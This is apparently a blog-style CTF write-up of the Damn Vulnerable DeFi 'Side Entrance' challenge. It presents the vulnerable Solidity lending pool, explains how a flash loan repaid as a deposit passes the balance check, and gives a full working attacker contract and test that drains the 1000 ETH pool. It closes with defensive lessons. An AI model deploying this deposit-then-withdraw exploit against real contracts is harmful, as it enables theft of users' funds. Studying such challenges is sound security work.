Skip to content
On this page

The Deceptively Simple "Side Entrance": A Flash Loan Heist on Damn Vulnerable DeFi

Welcome to the thrilling world of Web3 security, where even the most "surprisingly simple" contracts can harbor ingenious vulnerabilities! Today, we're diving into the "Side Entrance" challenge from Damn Vulnerable DeFi v4 – a CTF that brilliantly showcases the subtle dangers lurking within seemingly innocuous smart contract interactions, particularly around flash loans.

Don't let the name fool you; this isn't about brute force. It's about finding an elegant "side entrance" to bypass the system's defenses and make off with a cool 1000 ETH.

The Challenge: A Pool of Opportunity

Imagine a basic ETH lending pool. It allows anyone to deposit ETH and withdraw it at any time. To promote its system, it offers "free" flash loans using the deposited ETH. Our starting position: 1 ETH, facing a pool already holding 1000 ETH. Our mission: Rescue all 1000 ETH from the pool and deposit it into a designated recovery account.

The Setup:

  • Pool Balance: 1000 ETH
  • Player Balance: 1 ETH
  • Goal: address(pool).balance == 0 AND recovery.balance == 1000 ETH

The Target: SideEntranceLenderPool.sol

Let's examine the core contract that holds all the ETH:

solidity
// ... imports and interface ...

contract SideEntranceLenderPool {
    mapping(address => uint256) public balances; // Tracks user deposits

    error RepayFailed(); // Custom error

    // Allows users to deposit ETH
    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    // Allows users to withdraw their deposited ETH
    function withdraw() external {
        uint256 amount = balances[msg.sender];
        delete balances[msg.sender]; // Clears balance after withdrawal
        emit Withdraw(msg.sender, amount);
        SafeTransferLib.safeTransferETH(msg.sender, amount); // Sends ETH
    }

    // Offers flash loans
    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance; // Snapshot pool balance

        // Calls the `execute()` function on the flash loan receiver
        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        // **The crucial check:** Ensures the pool's ETH balance hasn't decreased
        if (address(this).balance < balanceBefore) {
            revert RepayFailed();
        }
    }
}

At first glance, the flashLoan function seems robust. It takes a snapshot of the pool's ETH balance (balanceBefore), sends the requested amount to the msg.sender (the flash loan receiver), and then critically checks if the pool's ETH balance has decreased. If it has, it reverts, implying the loan wasn't repaid. This is the common pattern for flash loans – funds are given out, some operation happens, and then funds (plus fee) are returned within the same transaction.

The Vulnerability: A Self-Serving Loophole

The "side entrance" here isn't about exploiting a re-entrancy bug in the traditional sense, nor is it a logic error in deposit or withdraw. The genius (and danger) of this challenge lies in how we manipulate the flash loan's "repayment" mechanism.

The flashLoan function sends amount ETH to the msg.sender (our attacker contract), which must implement IFlashLoanEtherReceiver and thus have an execute() function. The crucial check is address(this).balance < balanceBefore. What if, during the execute() call, the ETH sent out is returned to the pool in a way that doesn't trigger the RepayFailed check, but still benefits the attacker?

Here's the trick: Instead of sending the ETH back to the pool's external balance to repay the loan, the attacker's contract simply deposits it back into the pool under its own name!

  1. The flashLoan sends 1000 ETH to our attacker contract.
  2. Our attacker contract's execute() function is called.
  3. Inside execute(), we immediately call SideEntranceLenderPool.deposit() with the 1000 ETH it just received.
  4. The pool's overall ETH balance is now back to its original state (1000 ETH sent out, 1000 ETH immediately deposited back in).
  5. The flashLoan's if (address(this).balance < balanceBefore) check passes because the balance is unchanged!
  6. However, the balances mapping inside SideEntranceLenderPool now shows balances[address(attackerContract)] == 1000 ETH. Our attacker contract is now a "depositor" of the 1000 ETH it temporarily borrowed.
  7. Since our attacker contract is now a legitimate depositor, it can simply call withdraw() to take out its own "deposit"!

This effectively turns a temporary flash loan into a permanent acquisition of funds without violating the flashLoan's internal balance check.

The Attack: A Step-by-Step Heist

Let's look at the solution to see this elegant attack in action:

solidity
import {Address} from "@openzeppelin/contracts/utils/Address.sol";

// Our attacker contract, acting as the flash loan receiver
contract MyContract is IFlashLoanEtherReceiver {
    SideEntranceLenderPool private immutable target;

    // Constructor to set the target pool
    constructor(address _target) {
        target = SideEntranceLenderPool(_target);
    }

    // This function is called by the pool during the flash loan
    function execute() external payable {
        // Immediately deposit the received flash loan ETH back into the pool
        // but under *our* contract's name in the `balances` mapping.
        target.deposit{value: msg.value}();
    }

    // The main exploit function
    function exploit(address payable _recovery) external {
        // Step 1: Initiate the flash loan for the entire pool balance.
        // This triggers `execute()` where the ETH is "repaid" as a deposit.
        target.flashLoan(address(target).balance);

        // Step 2: Now that our contract has a deposit recorded in the pool,
        // we call withdraw to take out the full amount.
        target.withdraw();

        // Step 3: Send all the ETH from our contract to the recovery account.
        Address.sendValue(_recovery, address(this).balance);
    }

    // Allows our contract to receive ETH
    receive() external payable {}
}

And how it's executed in the test:

solidity
function test_sideEntrance() public checkSolvedByPlayer {
    // 1. Deploy our attacker contract, pointing to the SideEntranceLenderPool.
    MyContract m = new MyContract(address(pool));
    // 2. Call the exploit function, passing in the recovery account.
    m.exploit(payable(recovery));
}

The Takeaway: Context is King

This challenge is a brilliant reminder that flash loans, while powerful, require careful consideration of context. The flashLoan function's check for address(this).balance is perfectly valid for ensuring the contract's overall ETH balance remains intact. However, it fails to account for manipulations of its internal state (the balances mapping) that can occur during the flash loan execution.

Key lessons learned:

  • Flash loans are not just external debt: They can be used to manipulate internal state.
  • Balance checks vs. ownership checks: Simply checking address(this).balance might not be enough if internal ownership or claims on funds can be changed during an external call.
  • Re-entrancy's subtle forms: While not a typical call.value() re-entrancy, the attack leverages the ability to re-enter the lending pool's functions (deposit and withdraw) within the same transaction initiated by the flash loan.

The "Side Entrance" attack elegantly uses the pool's own flash loan mechanism against itself, turning a promotional feature into a complete loss of funds. A truly enlightening challenge for any aspiring Web3 security enthusiast!

Built with AiAda